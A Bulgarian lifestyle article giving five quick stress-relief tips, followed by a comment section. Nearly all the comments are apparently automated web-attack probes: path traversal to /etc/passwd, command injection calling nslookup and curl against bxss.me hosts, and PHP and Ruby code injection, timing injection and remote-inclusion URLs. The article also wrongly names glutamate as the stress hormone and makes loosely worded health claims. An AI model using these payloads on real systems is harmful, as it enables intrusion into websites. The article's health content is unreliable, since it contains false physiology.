ВСИЧКИТЕ 10 начина, с които ще облекчите стреса за по-малко от 5 минути

https://jenata.blitz.bg/zdrave/vsichkite-10-nachina-s-koito-shche-oblekchite-stresa-za-po-malko-ot-5-minuti Jenata.blitz.bg
ВСИЧКИТЕ 10 начина, с които ще облекчите стреса за по-малко от 5 минути

Вече говорихме за това как в днешното натоварено ежедневие стресът е широко разпространено заболяване, което засяга мнозинството. Продължителното натоварване – било психически, физическо или емоционално, стимулира освобождаването на стресов хормон, наречен глутамат. Този хормон се счита, че причинява сериозни рискове за здравето като временна загуба на памет, затлъстяване, ненужна избухливост, нервност и какво ли още не.

Вчера от jenata.blitz.bg ви разкрихме първите пет бързи и ефективни метода, с които да преборите стреса.

Сега ви предлагаме да изпробвате и останалите пет и да решите от кои тях върши най-качествена работа при вас.

Ето ги и тях:

6. Прогресивна мускулна релаксация (PMR)
Това е пет-минутна техника, която ви помага да отпуснете мускулите бързо, което води до облекчаване на стреса. Това се счита за един от най-идеалните начини за облекчаване на стреса. Повишеното движение на мускулите възпрепятства производството на стресов хормон. Ако продължите да практикувате това, ще разберете, че това е един от най-добрите начини за облекчаване на стреса.

7. Смях
„Смеещият” се хормон не работи добре с хормоните, стимулиращи стреса. Ето защо, поддържането на чувство за хумор може да доведе до отслабване на стреса и да има солиден живот. Освен това смехът свързва хора, които са идеални за облекчаване на стрес.

8. Ароматерапия
В момента много хора използват техниката на ароматерапията, за да освободят стреса. Това е удобен начин, който не изисква умения, малко време и е евтин. Изследванията показват, че ароматерапията действа като средство за облекчаване на стреса при някои индивиди.

9. Кратки упражнения по йога
Не е нужно да посещавате 60-минутна тренировка по йога. Петминутна йога е идеална за психичното ви здраве. Протягането на тялото ви в различни форми ви помага да облекчите стреса. Психиатрите препоръчва йогата като един от най-добрите начини за облекчаване на стреса.

10. Направете кратка разходка
С кратки разходки е един от здравословните начини за облекчаване на стреса. Краченето по тротоарите или коридорите може да има благоприятно въздействие върху психическото ви здраве. Преди да започнете вдишайте  чист въздух, който ще ви кара да обновите мозъчните си клетки. / jenata.blitz.bg
 

Горещи

Коментирай
130 Коментара
Петър Милков
преди 6 години

Петър Милков

Откажи
zFPWdwPk
преди 1 ден

mnsligsK

Откажи
zFPWdwPk
преди 1 ден

response.write(9392622*9431172)

Откажи
zFPWdwPk
преди 1 ден

${9999481+9999261}

Откажи
zFPWdwPk
преди 1 ден

zjfXZDaP: n7y0wXx6

Откажи
zFPWdwPk
преди 1 ден

'+response.write(9392622*9431172)+'

Откажи
zFPWdwPk
преди 1 ден

"+response.write(9392622*9431172)+"

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../etc/passwd

Откажи
zFPWdwPk
преди 1 ден

1<esi:include src="http://bxss.me/rpb.png"/>

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../windows/win.ini

Откажи
zFPWdwPk
преди 1 ден

file:///etc/passwd

Откажи
zFPWdwPk
преди 1 ден

redirtest.acx

Откажи
zFPWdwPk
преди 1 ден

!(()&&!|*|*|

Откажи
zFPWdwPk
преди 1 ден

../1

Откажи
zFPWdwPk
преди 1 ден

^(#$!@#$)(()))******

Откажи
zFPWdwPk
преди 1 ден

1&n980419=v964587

Откажи
zFPWdwPk
преди 1 ден

HttP://bxss.me/t/xss.html?%00

Откажи
zFPWdwPk
преди 1 ден

bxss.me/t/xss.html?%00

Откажи
zFPWdwPk
преди 1 ден

12345'"'");|]*%00{%0d%0a<%00>%bf%27'💡

Откажи
zFPWdwPk
преди 1 ден

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Откажи
zFPWdwPk
преди 1 ден

';print(md5(31337));$a='

Откажи
zFPWdwPk
преди 1 ден

'.gethostbyname(lc('hitpf'.'xyjhgfmqf0627.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(77).chr(98).chr(88).'

Откажи
zFPWdwPk
преди 1 ден

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Откажи
zFPWdwPk
преди 1 ден

";print(md5(31337));$a="

Откажи
zFPWdwPk
преди 1 ден

${@print(md5(31337))}

Откажи
zFPWdwPk
преди 1 ден

'"

Откажи
zFPWdwPk
преди 1 ден

".gethostbyname(lc("hitcn"."cmpjqiza152a0.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(69).chr(110).chr(75)."

Откажи
zFPWdwPk
преди 1 ден

<!--

Откажи
zFPWdwPk
преди 1 ден

${@print(md5(31337))}

Откажи
zFPWdwPk
преди 1 ден

gethostbyname(lc('hitkm'.'xwprditb0d69c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(109).chr(70)

Откажи
zFPWdwPk
преди 1 ден

"+"A".concat(70-3).concat(22*4).concat(115).concat(67).concat(106).concat(66)+(require"socket" Socket.gethostbyname("hitqx"+"orirerhn2c32f.bxss.me.")[3].to_s)+"

Откажи
zFPWdwPk
преди 1 ден

'.print(md5(31337)).'

Откажи
zFPWdwPk
преди 1 ден

echo aicqlu$() atirhbnz^xyu||a #' &echo aicqlu$() atirhbnz^xyu||a #|" &echo aicqlu$() atirhbnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

&echo pspbhu$() gylafqnz^xyu||a #' &echo pspbhu$() gylafqnz^xyu||a #|" &echo pspbhu$() gylafqnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

'+'A'.concat(70-3).concat(22*4).concat(120).concat(84).concat(106).concat(71)+(require'socket' Socket.gethostbyname('hitbr'+'xxqkkcclda606.bxss.me.')[3].to_s)+'

Откажи
zFPWdwPk
преди 1 ден

1&echo pxgmfl$() bbschxnz^xyu||a #' &echo pxgmfl$() bbschxnz^xyu||a #|" &echo pxgmfl$() bbschxnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

'"()

Откажи
zFPWdwPk
преди 1 ден

|echo iucebi$() eqbqdqnz^xyu||a #' |echo iucebi$() eqbqdqnz^xyu||a #|" |echo iucebi$() eqbqdqnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

'A'.concat(70-3).concat(22*4).concat(117).concat(66).concat(110).concat(78)+(require'socket' Socket.gethostbyname('hitso'+'hvochwxw16efa.bxss.me.')[3].to_s)

Откажи
zFPWdwPk
преди 1 ден

1|echo drovak$() nxfbgpnz^xyu||a #' |echo drovak$() nxfbgpnz^xyu||a #|" |echo drovak$() nxfbgpnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

1'&&sleep(27*1000)*imxogk&&'

Откажи
zFPWdwPk
преди 1 ден

expr 9000343351 - 977045

Откажи
zFPWdwPk
преди 1 ден

1"&&sleep(27*1000)*zovpjj&&"

Откажи
zFPWdwPk
преди 1 ден

(nslookup -q=cname hittmixdrybcke61fa.bxss.me||curl hittmixdrybcke61fa.bxss.me))

Откажи
zFPWdwPk
преди 1 ден

1'||sleep(27*1000)*kfenmr||'

Откажи
zFPWdwPk
преди 1 ден

$(nslookup -q=cname hitjzxcaiquuw34a01.bxss.me||curl hitjzxcaiquuw34a01.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

&nslookup -q=cname hitzmbffibemcf67b0.bxss.me&'"`0&nslookup -q=cname hitzmbffibemcf67b0.bxss.me&`'

Откажи
zFPWdwPk
преди 1 ден

&(nslookup -q=cname hitcrnjxtfwvf2196d.bxss.me||curl hitcrnjxtfwvf2196d.bxss.me)&'"`0&(nslookup -q=cname hitcrnjxtfwvf2196d.bxss.me||curl hitcrnjxtfwvf2196d.bxss.me)&`'

Откажи
zFPWdwPk
преди 1 ден

1"||sleep(27*1000)*zsjhtr||"

Откажи
zFPWdwPk
преди 1 ден

|(nslookup -q=cname hitxwzahixwoh58901.bxss.me||curl hitxwzahixwoh58901.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

`(nslookup -q=cname hitjnosokxiox21556.bxss.me||curl hitjnosokxiox21556.bxss.me)`

Откажи
zFPWdwPk
преди 1 ден

;(nslookup -q=cname hitflvjnuuqqb91ca9.bxss.me||curl hitflvjnuuqqb91ca9.bxss.me)|(nslookup -q=cname hitflvjnuuqqb91ca9.bxss.me||curl hitflvjnuuqqb91ca9.bxss.me)&(nslookup -q=cname hitflvjnuuqqb91ca9.bxss.me||curl hitflvjnuuqqb91ca9.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

|(nslookup${IFS}-q${IFS}cname${IFS}hitkbauxhbyqq4f8c2.bxss.me||curl${IFS}hitkbauxhbyqq4f8c2.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

&(nslookup${IFS}-q${IFS}cname${IFS}hittdzwqogpdg85c36.bxss.me||curl${IFS}hittdzwqogpdg85c36.bxss.me)&'"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittdzwqogpdg85c36.bxss.me||curl${IFS}hittdzwqogpdg85c36.bxss.me)&`'

Откажи
zFPWdwPk
преди 1 ден

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

Откажи
zFPWdwPk
преди 1 ден

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Откажи
zFPWdwPk
преди 1 ден

Http://bxss.me/t/fit.txt

Откажи
zFPWdwPk
преди 1 ден

http://bxss.me/t/fit.txt%3F.jpg

Откажи
zFPWdwPk
преди 1 ден

/etc/shells

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../etc/shells

Откажи
zFPWdwPk
преди 1 ден

1'"

Откажи
zFPWdwPk
преди 1 ден

c:/windows/win.ini

Откажи
zFPWdwPk
преди 1 ден

1%2527%2522'"

Откажи
zFPWdwPk
преди 1 ден

bxss.me

Откажи
zFPWdwPk
преди 1 ден

@@B2vee

Откажи
преди 6 години

http://stefan-tcholakov.com/index.php?year=1981&id=9676&p=poetbg&title=%D2%CE%CB%D1%D2%CE%C9+-+%D1%C0%D5%C0%D0%CE%C2%C8%C7%DA%CC

Откажи
zFPWdwPk
преди 1 ден

response.write(9888925*9517509)

Откажи
zFPWdwPk
преди 1 ден

'+response.write(9888925*9517509)+'

Откажи
zFPWdwPk
преди 1 ден

"+response.write(9888925*9517509)+"

Откажи
zFPWdwPk
преди 1 ден

1<esi:include src="http://bxss.me/rpb.png"/>

Откажи
zFPWdwPk
преди 1 ден

12345'"'");|]*%00{%0d%0a<%00>%bf%27'💡

Откажи
zFPWdwPk
преди 1 ден

KPr7TTvE

Откажи
zFPWdwPk
преди 1 ден

yj3WEAHb: C73nq8zw

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../etc/passwd

Откажи
zFPWdwPk
преди 1 ден

${9999196+9999948}

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../windows/win.ini

Откажи
zFPWdwPk
преди 1 ден

1&n925115=v965742

Откажи
zFPWdwPk
преди 1 ден

file:///etc/passwd

Откажи
zFPWdwPk
преди 1 ден

../1

Откажи
zFPWdwPk
преди 1 ден

redirtest.acx

Откажи
zFPWdwPk
преди 1 ден

!(()&&!|*|*|

Откажи
zFPWdwPk
преди 1 ден

^(#$!@#$)(()))******

Откажи
zFPWdwPk
преди 1 ден

'.gethostbyname(lc('hitrz'.'foqqnntu2fb3b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(79).chr(103).chr(86).'

Откажи
zFPWdwPk
преди 1 ден

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

Откажи
zFPWdwPk
преди 1 ден

".gethostbyname(lc("hitdk"."rnnpxvxy46a78.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(70).chr(98).chr(69)."

Откажи
zFPWdwPk
преди 1 ден

gethostbyname(lc('hitqf'.'ojszdoyfb93c8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(84).chr(111).chr(70)

Откажи
zFPWdwPk
преди 1 ден

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Откажи
zFPWdwPk
преди 1 ден

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Откажи
zFPWdwPk
преди 1 ден

'"()

Откажи
zFPWdwPk
преди 1 ден

HttP://bxss.me/t/xss.html?%00

Откажи
zFPWdwPk
преди 1 ден

Http://bxss.me/t/fit.txt

Откажи
zFPWdwPk
преди 1 ден

bxss.me/t/xss.html?%00

Откажи
zFPWdwPk
преди 1 ден

1'&&sleep(27*1000)*ihvvhf&&'

Откажи
zFPWdwPk
преди 1 ден

http://bxss.me/t/fit.txt%3F.jpg

Откажи
zFPWdwPk
преди 1 ден

'"

Откажи
zFPWdwPk
преди 1 ден

1"&&sleep(27*1000)*zrrpwo&&"

Откажи
zFPWdwPk
преди 1 ден

<!--

Откажи
zFPWdwPk
преди 1 ден

/etc/shells

Откажи
zFPWdwPk
преди 1 ден

1'||sleep(27*1000)*nzkdqv||'

Откажи
zFPWdwPk
преди 1 ден

"+"A".concat(70-3).concat(22*4).concat(97).concat(70).concat(115).concat(85)+(require"socket" Socket.gethostbyname("hitiw"+"gyvwmdcncb0d6.bxss.me.")[3].to_s)+"

Откажи
zFPWdwPk
преди 1 ден

../../../../../../../../../../../../../../etc/shells

Откажи
zFPWdwPk
преди 1 ден

1"||sleep(27*1000)*esfmzz||"

Откажи
zFPWdwPk
преди 1 ден

'+'A'.concat(70-3).concat(22*4).concat(110).concat(68).concat(112).concat(84)+(require'socket' Socket.gethostbyname('hitru'+'gwuufcrq93855.bxss.me.')[3].to_s)+'

Откажи
zFPWdwPk
преди 1 ден

c:/windows/win.ini

Откажи
zFPWdwPk
преди 1 ден

bxss.me

Откажи
zFPWdwPk
преди 1 ден

'A'.concat(70-3).concat(22*4).concat(109).concat(87).concat(108).concat(66)+(require'socket' Socket.gethostbyname('hitje'+'pdsmuxamd0a48.bxss.me.')[3].to_s)

Откажи
zFPWdwPk
преди 1 ден

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Откажи
zFPWdwPk
преди 1 ден

';print(md5(31337));$a='

Откажи
zFPWdwPk
преди 1 ден

";print(md5(31337));$a="

Откажи
zFPWdwPk
преди 1 ден

${@print(md5(31337))}

Откажи
zFPWdwPk
преди 1 ден

${@print(md5(31337))}

Откажи
zFPWdwPk
преди 1 ден

'.print(md5(31337)).'

Откажи
zFPWdwPk
преди 1 ден

echo uyugkx$() rqjedunz^xyu||a #' &echo uyugkx$() rqjedunz^xyu||a #|" &echo uyugkx$() rqjedunz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

&echo fddhjc$() fdnnjhnz^xyu||a #' &echo fddhjc$() fdnnjhnz^xyu||a #|" &echo fddhjc$() fdnnjhnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

1&echo vjrntx$() rjlxmfnz^xyu||a #' &echo vjrntx$() rjlxmfnz^xyu||a #|" &echo vjrntx$() rjlxmfnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

1'"

Откажи
zFPWdwPk
преди 1 ден

1%2527%2522'"

Откажи
zFPWdwPk
преди 1 ден

|echo jwxeee$() kyboxynz^xyu||a #' |echo jwxeee$() kyboxynz^xyu||a #|" |echo jwxeee$() kyboxynz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

@@5DmC3

Откажи
zFPWdwPk
преди 1 ден

1|echo kcdmmz$() kjbuncnz^xyu||a #' |echo kcdmmz$() kjbuncnz^xyu||a #|" |echo kcdmmz$() kjbuncnz^xyu||a #

Откажи
zFPWdwPk
преди 1 ден

expr 9000259401 - 961502

Откажи
zFPWdwPk
преди 1 ден

(nslookup -q=cname hitsecmopxcnpdd9e9.bxss.me||curl hitsecmopxcnpdd9e9.bxss.me))

Откажи
zFPWdwPk
преди 1 ден

$(nslookup -q=cname hitjonvlicietaae23.bxss.me||curl hitjonvlicietaae23.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

&nslookup -q=cname hitjehaabraccf6eb4.bxss.me&'"`0&nslookup -q=cname hitjehaabraccf6eb4.bxss.me&`'

Откажи
zFPWdwPk
преди 1 ден

&(nslookup -q=cname hitiffklleqgta8d1c.bxss.me||curl hitiffklleqgta8d1c.bxss.me)&'"`0&(nslookup -q=cname hitiffklleqgta8d1c.bxss.me||curl hitiffklleqgta8d1c.bxss.me)&`'

Откажи
zFPWdwPk
преди 1 ден

|(nslookup -q=cname hitwxqbpdwrew6ebea.bxss.me||curl hitwxqbpdwrew6ebea.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

`(nslookup -q=cname hitubickiyjky29577.bxss.me||curl hitubickiyjky29577.bxss.me)`

Откажи
zFPWdwPk
преди 1 ден

;(nslookup -q=cname hithhyeeophfl6a31d.bxss.me||curl hithhyeeophfl6a31d.bxss.me)|(nslookup -q=cname hithhyeeophfl6a31d.bxss.me||curl hithhyeeophfl6a31d.bxss.me)&(nslookup -q=cname hithhyeeophfl6a31d.bxss.me||curl hithhyeeophfl6a31d.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

|(nslookup${IFS}-q${IFS}cname${IFS}hitgmmavbwpdu205ca.bxss.me||curl${IFS}hitgmmavbwpdu205ca.bxss.me)

Откажи
zFPWdwPk
преди 1 ден

&(nslookup${IFS}-q${IFS}cname${IFS}hitztqtbmhecqa00fe.bxss.me||curl${IFS}hitztqtbmhecqa00fe.bxss.me)&'"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitztqtbmhecqa00fe.bxss.me||curl${IFS}hitztqtbmhecqa00fe.bxss.me)&`'

Откажи